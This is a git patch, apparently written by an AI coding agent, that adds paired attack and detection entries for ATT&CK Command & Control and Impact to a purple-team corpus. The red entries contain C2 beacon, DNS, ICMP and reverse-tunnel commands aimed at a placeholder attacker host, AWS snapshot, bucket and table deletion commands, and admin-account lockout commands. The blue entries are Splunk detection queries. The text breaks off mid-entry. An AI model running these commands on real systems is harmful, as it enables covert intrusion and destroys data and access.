From 089ad77b8ae3b0f679d4e4e34795d8d4733adfc4 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 10 Jul 2026 05:35:42 +0000 Subject: [PATCH 1/2] feat(corpus): add Command & Control + Impact pairs (TA0011, TA0040) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fill the two ATT&CK tactics with zero corpus coverage: 14 new red↔blue pairs (+28 entries). Command & Control (TA0011, 8 pairs): HTTPS beacon sleep+jitter, DNS tunneling, domain fronting, mutual-TLS/JA3, ICMP tunneling, web-service C2, DGA rendezvous domains, reverse tunnels. Each attack is paired with the detection that survives its evasion. Impact (TA0040, 6 pairs): recovery inhibition, mass file encryption, pre-encryption service kills, cloud data destruction, cryptojacking, account access removal. Corpus-only (no flat-view markers); passes the pairing, slot-vocabulary, and drift gates. Only registered slots used ({{lhost}}, {{port}}). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_012CpbBxJLgsg3T3ropqYGJA --- CHANGELOG.md | 15 +++++++++ entries/blue/account-removal-4725.md | 27 +++++++++++++++++ entries/blue/cloud-destroy-cloudtrail.md | 27 +++++++++++++++++ entries/blue/cryptomine-pool-detect.md | 26 ++++++++++++++++ entries/blue/dga-nxdomain-entropy.md | 28 +++++++++++++++++ entries/blue/dns-tunnel-sysmon-22.md | 26 ++++++++++++++++ entries/blue/domain-fronting-sni-mismatch.md | 27 +++++++++++++++++ entries/blue/https-beacon-jitter.md | 31 +++++++++++++++++++ entries/blue/icmp-c2-volume.md | 25 +++++++++++++++ entries/blue/inhibit-recovery-4688.md | 27 +++++++++++++++++ entries/blue/mass-encrypt-4663.md | 27 +++++++++++++++++ entries/blue/mtls-c2-ja3.md | 27 +++++++++++++++++ entries/blue/reverse-tunnel-detect.md | 25 +++++++++++++++ entries/blue/service-stop-7036.md | 27 +++++++++++++++++ entries/blue/web-service-c2-beacon.md | 26 ++++++++++++++++ entries/red/account-lockout-defenders.md | 27 +++++++++++++++++ entries/red/cloud-snapshot-destroy.md | 28 +++++++++++++++++ entries/red/dga-c2-domains.md | 28 +++++++++++++++++ entries/red/dns-tunnel-c2.md | 25 +++++++++++++++ entries/red/domain-fronting-cdn.md | 27 +++++++++++++++++ entries/red/https-beacon-sliver.md | 26 ++++++++++++++++ entries/red/icmp-tunnel-c2.md | 26 ++++++++++++++++ entries/red/inhibit-recovery-vssadmin.md | 27 +++++++++++++++++ entries/red/mtls-c2-sliver.md | 25 +++++++++++++++ entries/red/ransomware-encrypt-files.md | 27 +++++++++++++++++ entries/red/resource-hijack-xmrig.md | 25 +++++++++++++++ entries/red/reverse-tunnel-chisel.md | 27 +++++++++++++++++ entries/red/service-stop-preransom.md | 27 +++++++++++++++++ entries/red/web-service-c2-telegram.md | 32 ++++++++++++++++++++ 29 files changed, 768 insertions(+) create mode 100644 entries/blue/account-removal-4725.md create mode 100644 entries/blue/cloud-destroy-cloudtrail.md create mode 100644 entries/blue/cryptomine-pool-detect.md create mode 100644 entries/blue/dga-nxdomain-entropy.md create mode 100644 entries/blue/dns-tunnel-sysmon-22.md create mode 100644 entries/blue/domain-fronting-sni-mismatch.md create mode 100644 entries/blue/https-beacon-jitter.md create mode 100644 entries/blue/icmp-c2-volume.md create mode 100644 entries/blue/inhibit-recovery-4688.md create mode 100644 entries/blue/mass-encrypt-4663.md create mode 100644 entries/blue/mtls-c2-ja3.md create mode 100644 entries/blue/reverse-tunnel-detect.md create mode 100644 entries/blue/service-stop-7036.md create mode 100644 entries/blue/web-service-c2-beacon.md create mode 100644 entries/red/account-lockout-defenders.md create mode 100644 entries/red/cloud-snapshot-destroy.md create mode 100644 entries/red/dga-c2-domains.md create mode 100644 entries/red/dns-tunnel-c2.md create mode 100644 entries/red/domain-fronting-cdn.md create mode 100644 entries/red/https-beacon-sliver.md create mode 100644 entries/red/icmp-tunnel-c2.md create mode 100644 entries/red/inhibit-recovery-vssadmin.md create mode 100644 entries/red/mtls-c2-sliver.md create mode 100644 entries/red/ransomware-encrypt-files.md create mode 100644 entries/red/resource-hijack-xmrig.md create mode 100644 entries/red/reverse-tunnel-chisel.md create mode 100644 entries/red/service-stop-preransom.md create mode 100644 entries/red/web-service-c2-telegram.md diff --git a/CHANGELOG.md b/CHANGELOG.md index f0a2bdb..f16e01b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -20,6 +20,21 @@ GitHub Release; `sync-fanout.yml` then opens the Kali sync PR. ## [Unreleased] +### Added + +- **Command & Control + Impact corpus (14 new red↔blue pairs, +28 entries).** Fills + the two tactics that had **zero** coverage. **`TA0011` Command & Control** (8 pairs): + HTTPS beacon sleep+jitter, DNS tunneling, domain fronting, mutual-TLS/JA3, ICMP + tunneling, web-service C2 (Telegram/Slack/Gist), DGA rendezvous, and reverse + tunnels (chisel/ligolo) — each attack paired with the network/host detection that + survives its evasion (inter-arrival regularity, Sysmon-22 query shape, SNI/Host + mismatch, JA3 fingerprints, NXDOMAIN entropy). **`TA0040` Impact** (6 pairs): + recovery inhibition (`vssadmin`/`wbadmin`/`bcdedit`), mass file encryption, pre- + encryption service kills, cloud data destruction (CloudTrail delete burst), + cryptojacking (Stratum), and account access removal (4724/4725/4726). Corpus-only + (no flat-view markers); every new entry carries a valid, non-deprecated ATT&CK + technique ID. + ## [v2.2.0] - 2026-07-09 ### Added diff --git a/entries/blue/account-removal-4725.md b/entries/blue/account-removal-4725.md new file mode 100644 index 0000000..1fb576b --- /dev/null +++ b/entries/blue/account-removal-4725.md @@ -0,0 +1,27 @@ +--- +id: account-removal-4725 +title: Detect account access removal (4724/4725/4726 on admins) +detection: splunk-spl +event_ids: [4724, 4725, 4726] +attack: + tactic: TA0040 + techniques: [T1531] +source: Windows account-management auditing (4724/4725/4726) +pair: account-lockout-defenders +--- + +Locking defenders out leaves a clean audit trail: 4724 (password reset attempt), +4725 (account disabled), 4726 (account deleted), and 4733/4729 (removal from a +privileged group). Individually these are ordinary help-desk actions; the impact +pattern is a *burst* targeting privileged or break-glass accounts, by an actor who +doesn't normally administer identity, close in time to other impact signals. Alert +on multiple such events against admin accounts in a short window, and protect +break-glass accounts with alerting on any change to them at all. + +```spl +index=wineventlog EventCode IN (4724,4725,4726,4729,4733) +| bucket _time span=10m +| stats count, dc(Target_Account_Name) as targets, values(Target_Account_Name) as who by _time, Subject_Account_Name, EventCode +| where targets>3 +| sort - count +``` diff --git a/entries/blue/cloud-destroy-cloudtrail.md b/entries/blue/cloud-destroy-cloudtrail.md new file mode 100644 index 0000000..44dd15d --- /dev/null +++ b/entries/blue/cloud-destroy-cloudtrail.md @@ -0,0 +1,27 @@ +--- +id: cloud-destroy-cloudtrail +title: Detect cloud data destruction (CloudTrail delete burst) +detection: splunk-cloudtrail +event_ids: [] +attack: + tactic: TA0040 + techniques: [T1485] +source: CloudTrail management events; data-destruction analytics +pair: cloud-snapshot-destroy +--- + +Destruction is a rare, high-impact verb set on the control plane: `DeleteSnapshot`, +`DeleteDBClusterSnapshot`, `DeleteBucket` / `DeleteObject*` on a versioned bucket, +`DeleteTable`. A single delete may be housekeeping; a *burst* of them across storage +services from one `userIdentity` in a short window — especially from a new IP/role +or with `errorCode` mixed in as it probes — is the pattern. Alert on the aggregate, +and defend structurally with S3 Object Lock, MFA-delete, and cross-account backup +copies the compromised principal can't reach. + +```spl +index=aws sourcetype=aws:cloudtrail (eventName IN ("DeleteSnapshot","DeleteDBClusterSnapshot","DeleteDBSnapshot","DeleteBucket","DeleteObject","DeleteObjects","DeleteTable")) +| bucket _time span=5m +| stats count, dc(eventName) as verbs, values(eventName) as which by _time, userIdentity.arn, sourceIPAddress +| where count>10 +| sort - count +``` diff --git a/entries/blue/cryptomine-pool-detect.md b/entries/blue/cryptomine-pool-detect.md new file mode 100644 index 0000000..f344f26 --- /dev/null +++ b/entries/blue/cryptomine-pool-detect.md @@ -0,0 +1,26 @@ +--- +id: cryptomine-pool-detect +title: Detect cryptojacking (Stratum pool connections + CPU peg) +detection: splunk-spl +event_ids: [] +attack: + tactic: TA0040 + techniques: [T1496] +source: Zeek conn.log / EDR process telemetry; Stratum pool indicators +pair: resource-hijack-xmrig +--- + +Two independent tells converge: a process pegged near 100% CPU for a sustained +period, and an outbound connection speaking Stratum to a mining pool — often on +3333/5555/7777/14444 or to a known pool domain, sometimes wrapped in TLS. Alert on +outbound connections to pool-domain/port indicators from server or workstation +fleets, and corroborate with EDR process telemetry for the CPU peg and miner +command-line flags (`--cpu-max-threads-hint`, `stratum+tcp://`). Either signal alone +is worth a look; together they're high fidelity. + +```spl +index=zeek sourcetype=zeek:conn (id.resp_p IN (3333,5555,7777,14444) OR resp_domain IN ("*.pool.*","*xmr*","*minexmr*","*nanopool*")) +| stats count, sum(orig_bytes) as bytes_out, max(duration) as longest by id.orig_h, id.resp_h, id.resp_p +| where count>5 +| sort - longest +``` diff --git a/entries/blue/dga-nxdomain-entropy.md b/entries/blue/dga-nxdomain-entropy.md new file mode 100644 index 0000000..e7d1dfc --- /dev/null +++ b/entries/blue/dga-nxdomain-entropy.md @@ -0,0 +1,28 @@ +--- +id: dga-nxdomain-entropy +title: Detect DGA beacons (NXDOMAIN burst + label entropy) +detection: splunk-spl +event_ids: [22] +attack: + tactic: TA0011 + techniques: [T1568.002] +source: Sysmon DnsQuery (Event ID 22) + DNS resolver NXDOMAIN logs +pair: dga-c2-domains +--- + +A DGA host generates far more domains than register, so it leaves a trail of failed +resolutions to names no human would type: high character entropy, no dictionary +words, unusual TLD spread. Alert when a single `Image`/host produces a burst of +distinct NXDOMAIN (or QueryStatus≠0) results with high average label entropy in a +short window. Sysmon 22 gives the process; the resolver's NXDOMAIN log gives the +failures — either alone works, together they're high fidelity. Baseline out +telemetry/antivirus clients that probe many names. + +```spl +index=sysmon EventCode=22 QueryStatus!=0 +| eval label=mvindex(split(QueryName,"."),0) +| `dns_entropy(label)` +| stats count as nxdomains, dc(QueryName) as uniq, avg(entropy) as avg_entropy by Image, host +| where nxdomains>50 AND avg_entropy>3.5 +| sort - nxdomains +``` diff --git a/entries/blue/dns-tunnel-sysmon-22.md b/entries/blue/dns-tunnel-sysmon-22.md new file mode 100644 index 0000000..1817662 --- /dev/null +++ b/entries/blue/dns-tunnel-sysmon-22.md @@ -0,0 +1,26 @@ +--- +id: dns-tunnel-sysmon-22 +title: Detect DNS tunneling (Sysmon 22 query volume + label length) +detection: splunk-spl +event_ids: [22] +attack: + tactic: TA0011 + techniques: [T1071.004] +source: Sysmon DnsQuery (Event ID 22) telemetry +pair: dns-tunnel-c2 +--- + +Tunneled DNS looks nothing like resolution: one process emits hundreds of unique +queries under a single registrable domain, with long high-entropy leftmost labels +(the encoded payload) and TXT/NULL answers. Sysmon Event ID 22 attributes each +query to its `Image`, so group by process and parent domain and alert when a single +non-browser image drives a high count of distinct, long subdomains to one zone. +Baseline out CDNs and telemetry endpoints that legitimately fan out subdomains. + +```spl +index=sysmon EventCode=22 +| eval label=mvindex(split(QueryName,"."),0), qlen=len(label) +| stats count, dc(QueryName) as uniq, avg(qlen) as avg_label_len by Image, host +| where uniq>100 AND avg_label_len>25 +| sort - uniq +``` diff --git a/entries/blue/domain-fronting-sni-mismatch.md b/entries/blue/domain-fronting-sni-mismatch.md new file mode 100644 index 0000000..887a1d5 --- /dev/null +++ b/entries/blue/domain-fronting-sni-mismatch.md @@ -0,0 +1,27 @@ +--- +id: domain-fronting-sni-mismatch +title: Detect domain fronting (TLS SNI vs HTTP Host mismatch) +detection: splunk-spl +event_ids: [] +attack: + tactic: TA0011 + techniques: [T1090.004] +source: TLS SNI / HTTP Host correlation (Zeek ssl.log + http.log) +pair: domain-fronting-cdn +--- + +Fronting only works because the SNI and the inner Host differ; where you can see +both, the mismatch is the invariant. With a TLS-inspecting proxy (or Zeek pairing +`ssl.log` SNI to the decrypted `http.log` Host), alert when the SNI's registrable +domain differs from the Host header for the same connection — the CDN case that +isn't a legitimate multi-tenant vhost. Without decryption, fall back to +non-browser processes making TLS to CDN edges with rare/young inner destinations. + +```spl +index=zeek (sourcetype=zeek:ssl OR sourcetype=zeek:http) +| transaction uid maxspan=30s +| eval sni_dom=replace(server_name,"^.*\.([^.]+\.[^.]+)$","\1") +| eval host_dom=replace(host,"^.*\.([^.]+\.[^.]+)$","\1") +| where isnotnull(server_name) AND isnotnull(host) AND sni_dom!=host_dom +| table _time, id.orig_h, server_name, host, uri +``` diff --git a/entries/blue/https-beacon-jitter.md b/entries/blue/https-beacon-jitter.md new file mode 100644 index 0000000..86fed2c --- /dev/null +++ b/entries/blue/https-beacon-jitter.md @@ -0,0 +1,31 @@ +--- +id: https-beacon-jitter +title: Detect HTTPS beaconing by inter-arrival regularity (proxy logs) +detection: splunk-spl +event_ids: [] +attack: + tactic: TA0011 + techniques: [T1071.001] +source: MITRE ATT&CK TA0011; beacon inter-arrival analysis +pair: https-beacon-sliver +--- + +Jitter randomizes each interval but not the *distribution*: a beacon's callbacks +still cluster around a mean period with a bounded spread, while human browsing does +not. Compute the deltas between successive connections per `src→dest`, and alert +when a destination is contacted many times with a low coefficient of variation +(stdev small relative to the mean) — especially to a rare/uncategorized host from a +single stable user-agent. Enrich with domain age + category to cut noise; a fixed +User-Agent talking to a young, uncategorized domain on a near-metronomic cadence is +the signal jitter can't hide. + +```spl +index=proxy action=allowed +| sort 0 src_ip, dest, _time +| streamstats current=f last(_time) as prev by src_ip, dest +| eval delta=_time-prev +| stats count, avg(delta) as period, stdev(delta) as spread by src_ip, dest, http_user_agent +| eval cv=spread/period +| where count>20 AND period>30 AND cv<0.35 +| sort cv +``` diff --git a/entries/blue/icmp-c2-volume.md b/entries/blue/icmp-c2-volume.md new file mode 100644 index 0000000..80db483 --- /dev/null +++ b/entries/blue/icmp-c2-volume.md @@ -0,0 +1,25 @@ +--- +id: icmp-c2-volume +title: Detect ICMP tunneling (echo volume + payload size) +detection: splunk-spl +event_ids: [] +attack: + tactic: TA0011 + techniques: [T1095] +source: Zeek conn.log / NetFlow ICMP volumetrics +pair: icmp-tunnel-c2 +--- + +Legitimate ICMP echo is sparse and small — fixed-size OS pings, a few per host. +Tunneled ICMP is the opposite: sustained echo request/reply to a single external +host, high packet counts, and large or variable payload bytes carrying the encoded +session. From Zeek `conn.log` (or NetFlow) filtered to ICMP, sum bytes and packets +per internal→external pair over a window and alert on the outliers, especially to a +rare destination. Baseline out monitoring pollers that legitimately ping a lot. + +```spl +index=zeek sourcetype=zeek:conn proto=icmp +| stats sum(orig_bytes) as bytes_out, count as pkts, avg(orig_bytes) as avg_payload by id.orig_h, id.resp_h +| where pkts>500 AND avg_payload>64 +| sort - bytes_out +``` diff --git a/entries/blue/inhibit-recovery-4688.md b/entries/blue/inhibit-recovery-4688.md new file mode 100644 index 0000000..15d465d --- /dev/null +++ b/entries/blue/inhibit-recovery-4688.md @@ -0,0 +1,27 @@ +--- +id: inhibit-recovery-4688 +title: Detect recovery inhibition (4688 vssadmin / wbadmin / bcdedit) +detection: splunk-spl +event_ids: [4688] +attack: + tactic: TA0040 + techniques: [T1490] +source: TrustedSec "Actionable Purple Teaming" (BH USA 2023) +pair: inhibit-recovery-vssadmin +--- + +Shadow-copy and backup deletion runs through a small set of signed built-ins with +unmistakable arguments — `vssadmin delete shadows`, `wmic shadowcopy delete`, +`wbadmin delete catalog`, `bcdedit ... recoveryenabled no`. Alert on 4688 process +creation (or Sysmon 1) matching those image+command-line shapes; the delete/disable +verbs are what separate them from legitimate backup administration. This fires +*before* mass encryption, so treat a hit as an in-progress incident, not a report. + +```spl +index=main EventCode=4688 (New_Process_Name IN ("*\\vssadmin.exe","*\\wbadmin.exe","*\\bcdedit.exe","*\\wmic.exe")) +| where (like(Process_Command_Line,"%delete shadows%") + OR like(Process_Command_Line,"%shadowcopy delete%") + OR like(Process_Command_Line,"%delete catalog%") + OR like(Process_Command_Line,"%recoveryenabled no%")) +| table _time, host, Account_Name, New_Process_Name, Process_Command_Line +``` diff --git a/entries/blue/mass-encrypt-4663.md b/entries/blue/mass-encrypt-4663.md new file mode 100644 index 0000000..a5955c3 --- /dev/null +++ b/entries/blue/mass-encrypt-4663.md @@ -0,0 +1,27 @@ +--- +id: mass-encrypt-4663 +title: Detect mass encryption (4663 file-write burst + note drop) +detection: splunk-spl +event_ids: [4663] +attack: + tactic: TA0040 + techniques: [T1486] +source: Windows object-access auditing (Event ID 4663) burst analysis +pair: ransomware-encrypt-files +--- + +Encryption is a write storm: a single process issuing `WriteData` (4663, with +SACLs enabled) or Sysmon 11 FileCreate against hundreds of files across many +directories in seconds — far above any normal application's file-touch rate. Alert +when one `Process_Name`/host exceeds a high threshold of distinct files written in a +short window, and corroborate with a same-name note file (`readme`, `how_to_decrypt`, +`*.`) appearing in many folders. Tune the threshold per environment; +back it with canary files for a low-false-positive trip. + +```spl +index=wineventlog EventCode=4663 Accesses="*WriteData*" +| bucket _time span=1m +| stats dc(Object_Name) as files, dc(mvindex(split(Object_Name,"\\"),0)) as dirs by _time, host, Process_Name +| where files>200 +| sort - files +``` diff --git a/entries/blue/mtls-c2-ja3.md b/entries/blue/mtls-c2-ja3.md new file mode 100644 index 0000000..5013933 --- /dev/null +++ b/entries/blue/mtls-c2-ja3.md @@ -0,0 +1,27 @@ +--- +id: mtls-c2-ja3 +title: Detect encrypted C2 by TLS fingerprint (JA3 / JA3S) +detection: splunk-spl +event_ids: [] +attack: + tactic: TA0011 + techniques: [T1573.002] +source: Zeek ssl.log JA3/JA3S fingerprinting +pair: mtls-c2-sliver +--- + +Encryption hides the payload, not the handshake. Each implant's TLS ClientHello +(cipher list + extension order) hashes to a stable JA3, and the C2 server's +ServerHello to a JA3S; frameworks reuse these across builds, so a known-implant +JA3/JA3S pair is a high-fidelity match regardless of destination or sleep. Maintain +a blocklist of framework fingerprints (Zeek + community JA3 sets) and alert on any +hit; then hunt self-signed / very-short-chain certs to a rare destination as the +unknown-implant fallback. + +```spl +index=zeek sourcetype=zeek:ssl +| lookup ja3_c2_implants ja3 OUTPUT framework AS ja3_hit +| lookup ja3s_c2_servers ja3s OUTPUT framework AS ja3s_hit +| where isnotnull(ja3_hit) OR isnotnull(ja3s_hit) +| table _time, id.orig_h, id.resp_h, server_name, ja3, ja3s, ja3_hit, ja3s_hit +``` diff --git a/entries/blue/reverse-tunnel-detect.md b/entries/blue/reverse-tunnel-detect.md new file mode 100644 index 0000000..e217924 --- /dev/null +++ b/entries/blue/reverse-tunnel-detect.md @@ -0,0 +1,25 @@ +--- +id: reverse-tunnel-detect +title: Detect reverse tunnels (long-lived outbound session + JA3) +detection: splunk-spl +event_ids: [] +attack: + tactic: TA0011 + techniques: [T1572] +source: Zeek conn.log duration/volume + JA3 tunneling fingerprints +pair: reverse-tunnel-chisel +--- + +A tunnel collapses many sessions into one, so it shows up as a single outbound +connection that lives far longer and moves far more bytes — bidirectionally — than +normal client traffic, often to a raw IP or a young domain on an odd port. From Zeek +`conn.log`, alert on long-duration external connections with high byte counts in +both directions from a server/workstation that shouldn't hold persistent outbound +sessions; enrich with chisel/ligolo JA3 fingerprints and destination reputation. + +```spl +index=zeek sourcetype=zeek:conn NOT id.resp_h IN (10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) +| where duration>1800 AND orig_bytes>1000000 AND resp_bytes>1000000 +| table _time, id.orig_h, id.resp_h, id.resp_p, duration, orig_bytes, resp_bytes, ja3 +| sort - duration +``` diff --git a/entries/blue/service-stop-7036.md b/entries/blue/service-stop-7036.md new file mode 100644 index 0000000..35d0bd3 --- /dev/null +++ b/entries/blue/service-stop-7036.md @@ -0,0 +1,27 @@ +--- +id: service-stop-7036 +title: Detect pre-encryption service kills (7036 / 4688 stop burst) +detection: splunk-spl +event_ids: [7036, 4688] +attack: + tactic: TA0040 + techniques: [T1489] +source: Service Control Manager (7036) + process-creation (4688) +pair: service-stop-preransom +--- + +One service stopping is routine; a *burst* of business-critical services entering +the stopped state within seconds is not. Correlate SCM Event ID 7036 ("entered the +stopped state") across many distinct services per host in a short window, and/or +4688 for `net.exe stop` / `sc.exe stop` / `taskkill.exe` against DB/mail/backup/AV +names. Weight the alert when the stopped set includes backup or endpoint-protection +services — the combination immediately preceding, or interleaved with, a file-write +storm is an active-encryption indicator. + +```spl +index=wineventlog EventCode=7036 "entered the stopped state" +| bucket _time span=2m +| stats dc(Service_Name) as services_stopped, values(Service_Name) as which by _time, host +| where services_stopped>5 +| sort - services_stopped +``` diff --git a/entries/blue/web-service-c2-beacon.md b/entries/blue/web-service-c2-beacon.md new file mode 100644 index 0000000..e401b34 --- /dev/null +++ b/entries/blue/web-service-c2-beacon.md @@ -0,0 +1,26 @@ +--- +id: web-service-c2-beacon +title: Detect web-service C2 (non-browser process to SaaS API) +detection: splunk-spl +event_ids: [3] +attack: + tactic: TA0011 + techniques: [T1102.002] +source: Sysmon Network Connection (Event ID 3) process attribution +pair: web-service-c2-telegram +--- + +The destination is trusted, so pivot off the *source process*, not the domain. +Sysmon Event ID 3 attributes each outbound connection to its `Image`; browsers, +Teams, and updaters talk to SaaS APIs — `powershell.exe`, `wscript.exe`, a random +binary in `%TEMP%`, or an Office child process beaconing to `api.telegram.org` / +`api.github.com` / `slack.com` on an interval does not. Allowlist the known +API-consumers per host and alert on the rest, weighting unsigned images and +user-writable paths. + +```spl +index=sysmon EventCode=3 DestinationHostname IN ("api.telegram.org","*.slack.com","api.github.com","gist.githubusercontent.com") +| search NOT Image IN ("*\\chrome.exe","*\\msedge.exe","*\\firefox.exe","*\\Teams.exe") +| stats count, values(DestinationHostname) as dests by host, Image, User +| where count>3 +``` diff --git a/entries/red/account-lockout-defenders.md b/entries/red/account-lockout-defenders.md new file mode 100644 index 0000000..ab20a9b --- /dev/null +++ b/entries/red/account-lockout-defenders.md @@ -0,0 +1,27 @@ +--- +id: account-lockout-defenders +title: Account access removal (lock out admins & responders) +section: Impact +phase: Impact +attack: + tactic: TA0040 + techniques: [T1531] +platform: [windows] +source: MITRE ATT&CK T1531; incident-response denial +pair: account-removal-4725 +--- + +Deny the defenders their own environment during the final act: reset or change +passwords for admin and break-glass accounts, disable or delete responder accounts, +and strip privileged group membership so IT can't log in to interrupt encryption or +kick off recovery. On-prem it's `net user` / `net localgroup` / `Disable-ADAccount`; +in the cloud it's disabling users or rotating their credentials. A burst of +password-reset / account-disable events against privileged accounts, from an +unexpected actor, is the tell. + +```cmd +net user Administrator /domain +Disable-ADAccount -Identity itadmin +net localgroup "Administrators" defenderacct /delete +net user helpdesk /active:no +``` diff --git a/entries/red/cloud-snapshot-destroy.md b/entries/red/cloud-snapshot-destroy.md new file mode 100644 index 0000000..d25e252 --- /dev/null +++ b/entries/red/cloud-snapshot-destroy.md @@ -0,0 +1,28 @@ +--- +id: cloud-snapshot-destroy +title: Destroy cloud backups & data (snapshot / bucket deletion) +section: AWS / cloud impact +phase: Impact +attack: + tactic: TA0040 + techniques: [T1485] +platform: [cloud] +source: MITRE ATT&CK T1485; cloud data destruction / extortion +pair: cloud-destroy-cloudtrail +--- + +The cloud analogue of shadow-copy deletion and encryption in one move: with +compromised IAM, delete the durable copies — EBS/RDS snapshots, versioned S3 +objects, DynamoDB tables — so there is nothing to restore from, then optionally +empty the live buckets. Wiping snapshots first denies recovery; deleting objects is +the destructive payload. Each call is a discrete control-plane event, so a burst of +deletes across storage services from one principal is the signal. (Cloud — no +on-host slots.) + +```sh +aws ec2 describe-snapshots --owner-ids self --query 'Snapshots[].SnapshotId' --output text \ + | xargs -n1 aws ec2 delete-snapshot --snapshot-id +aws s3 rm s3:// --recursive +aws rds delete-db-cluster-snapshot --db-cluster-snapshot-identifier +aws dynamodb delete-table --table-name +``` diff --git a/entries/red/dga-c2-domains.md b/entries/red/dga-c2-domains.md new file mode 100644 index 0000000..2e56758 --- /dev/null +++ b/entries/red/dga-c2-domains.md @@ -0,0 +1,28 @@ +--- +id: dga-c2-domains +title: DGA rendezvous domains (resilient C2 resolution) +section: Command & Control +phase: Command & Control +attack: + tactic: TA0011 + techniques: [T1568.002] +platform: [windows, network] +source: MITRE ATT&CK T1568.002; domain-generation-algorithm C2 +pair: dga-nxdomain-entropy +--- + +Harden C2 against takedown by resolving rendezvous domains from a seeded algorithm +both sides share: the implant computes a rolling list of pseudo-random domains and +tries each until one resolves to the live server, so blocking any single domain does +nothing. Only a handful register at a time; the rest miss. The tell is the residue — +bursts of failed lookups (NXDOMAIN) for high-entropy, dictionary-free names from one +host before a hit. + +```python +# illustrative seeded DGA: date-seeded pseudo-random labels the implant walks +import hashlib, datetime +seed = datetime.date.today().strftime("%Y%m%d") +for i in range(50): + h = hashlib.md5(f"{seed}{i}".encode()).hexdigest()[:16] + print(f"{h}.net") # implant resolves each until one answers -> live C2 +``` diff --git a/entries/red/dns-tunnel-c2.md b/entries/red/dns-tunnel-c2.md new file mode 100644 index 0000000..8d28b9a --- /dev/null +++ b/entries/red/dns-tunnel-c2.md @@ -0,0 +1,25 @@ +--- +id: dns-tunnel-c2 +title: DNS-tunnel C2 (iodine / dnscat2 / Sliver DNS) +section: Command & Control +phase: Command & Control +attack: + tactic: TA0011 + techniques: [T1071.004] +platform: [windows, network] +source: MITRE ATT&CK TA0011; iodine / dnscat2 / Sliver DNS listeners +pair: dns-tunnel-sysmon-22 +--- + +When only DNS egresses (guest wifi, segmented networks), tunnel C2 inside DNS +queries to an attacker-controlled authoritative nameserver: each beacon is encoded +into a long subdomain label and the reply rides a TXT/NULL/CNAME record. It is slow +and loud but reaches almost anywhere. The blue tell is the query shape — abnormally +long, high-entropy labels and a burst of unique names under one parent zone. + +```sh +# iodine: IP-over-DNS to the delegated zone (attacker runs the authoritative NS) +iodine -f -P +# dnscat2 client -> attacker's dnscat2 server on the delegated zone +dnscat2-client --dns server=,port=53 --secret= +``` diff --git a/entries/red/domain-fronting-cdn.md b/entries/red/domain-fronting-cdn.md new file mode 100644 index 0000000..8ab2f7e --- /dev/null +++ b/entries/red/domain-fronting-cdn.md @@ -0,0 +1,27 @@ +--- +id: domain-fronting-cdn +title: Domain-fronted C2 (high-reputation CDN edge) +section: Command & Control +phase: Command & Control +attack: + tactic: TA0011 + techniques: [T1090.004] +platform: [windows, network] +source: MITRE ATT&CK T1090.004; malleable-profile domain fronting +pair: domain-fronting-sni-mismatch +--- + +Front the C2 behind a shared CDN: the TLS SNI (and DNS) name a high-reputation edge +domain the CDN serves, so egress filtering and reputation see benign traffic, while +the inner HTTP `Host:` header routes the request to the attacker's origin on that +same CDN. Defenders watching the SNI never see the real destination. The tell is the +mismatch itself — the encrypted Host disagreeing with the SNI — plus the CDN edge +being contacted by a non-browser process. + +```sh +# Cobalt Strike malleable profile: front on a benign CDN domain, route via Host +# set host_stage "false"; +# http-get { set uri "/api/v1/collect"; client { header "Host" ""; } } +# curl illustration of the fronting shape (SNI != Host): +curl -s -H "Host: " https:///api/v1/collect +``` diff --git a/entries/red/https-beacon-sliver.md b/entries/red/https-beacon-sliver.md new file mode 100644 index 0000000..d7510a4 --- /dev/null +++ b/entries/red/https-beacon-sliver.md @@ -0,0 +1,26 @@ +--- +id: https-beacon-sliver +title: HTTPS beacon with long sleep + jitter (Sliver / Cobalt / Havoc) +section: Command & Control +phase: Command & Control +attack: + tactic: TA0011 + techniques: [T1071.001] +platform: [windows, network] +source: MITRE ATT&CK TA0011; Sliver / Cobalt Strike / Havoc C2 tradecraft +pair: https-beacon-jitter +--- + +The default C2 posture: an implant that phones home over HTTPS to a redirector so +the traffic rides port 443 and TLS hides the payload. A long sleep with high jitter +(callbacks minutes-to-hours apart, randomized ±30%) breaks the fixed-interval +periodicity that beacon-hunting keys on, and a malleable profile shapes the URIs, +headers, and user-agent to look like ordinary web traffic. The blue tell is the +statistical regularity that survives the jitter, not any single request. + +```sh +# Sliver: HTTPS beacon calling back to the redirector, hour sleep, 30% jitter +sliver > generate beacon --http {{lhost}}:{{port}} --seconds 3600 --jitter 1800 --save implant.exe +# Cobalt Strike / Havoc: same shape driven by a malleable C2 profile that +# masquerades the URIs + User-Agent as CDN / analytics traffic +``` diff --git a/entries/red/icmp-tunnel-c2.md b/entries/red/icmp-tunnel-c2.md new file mode 100644 index 0000000..b3fa587 --- /dev/null +++ b/entries/red/icmp-tunnel-c2.md @@ -0,0 +1,26 @@ +--- +id: icmp-tunnel-c2 +title: ICMP-tunnel C2 (echo-payload smuggling) +section: Command & Control +phase: Command & Control +attack: + tactic: TA0011 + techniques: [T1095] +platform: [windows, network] +source: MITRE ATT&CK T1095; icmpsh / ptunnel ICMP tunneling +pair: icmp-c2-volume +--- + +Where TCP/UDP egress is filtered but the perimeter still answers pings, smuggle C2 +inside the data field of ICMP echo request/reply — a non-application-layer channel +that many egress rules ignore entirely. Throughput is poor and it's noisy, but it +slips past L3/L4 ACLs. The tell is volumetric and structural: sustained echo traffic +with large, non-uniform payloads to one external host, far from the tiny fixed-size +pings the OS emits. + +```sh +# icmpsh: attacker-side handler, victim beacons the shell over ICMP echo +icmpsh -t {{lhost}} -d 500 # (victim side; attacker runs the matching listener) +# ptunnel: proxy a TCP session inside ICMP to the attacker's proxy host +ptunnel -p {{lhost}} -lp {{port}} -da 127.0.0.1 -dp 22 +``` diff --git a/entries/red/inhibit-recovery-vssadmin.md b/entries/red/inhibit-recovery-vssadmin.md new file mode 100644 index 0000000..0b96f6c --- /dev/null +++ b/entries/red/inhibit-recovery-vssadmin.md @@ -0,0 +1,27 @@ +--- +id: inhibit-recovery-vssadmin +title: Inhibit system recovery (delete shadow copies + backups) +section: Impact +phase: Impact +attack: + tactic: TA0040 + techniques: [T1490] +platform: [windows] +source: MITRE ATT&CK T1490; ransomware pre-encryption recovery denial +pair: inhibit-recovery-4688 +--- + +The universal ransomware precursor: before (or 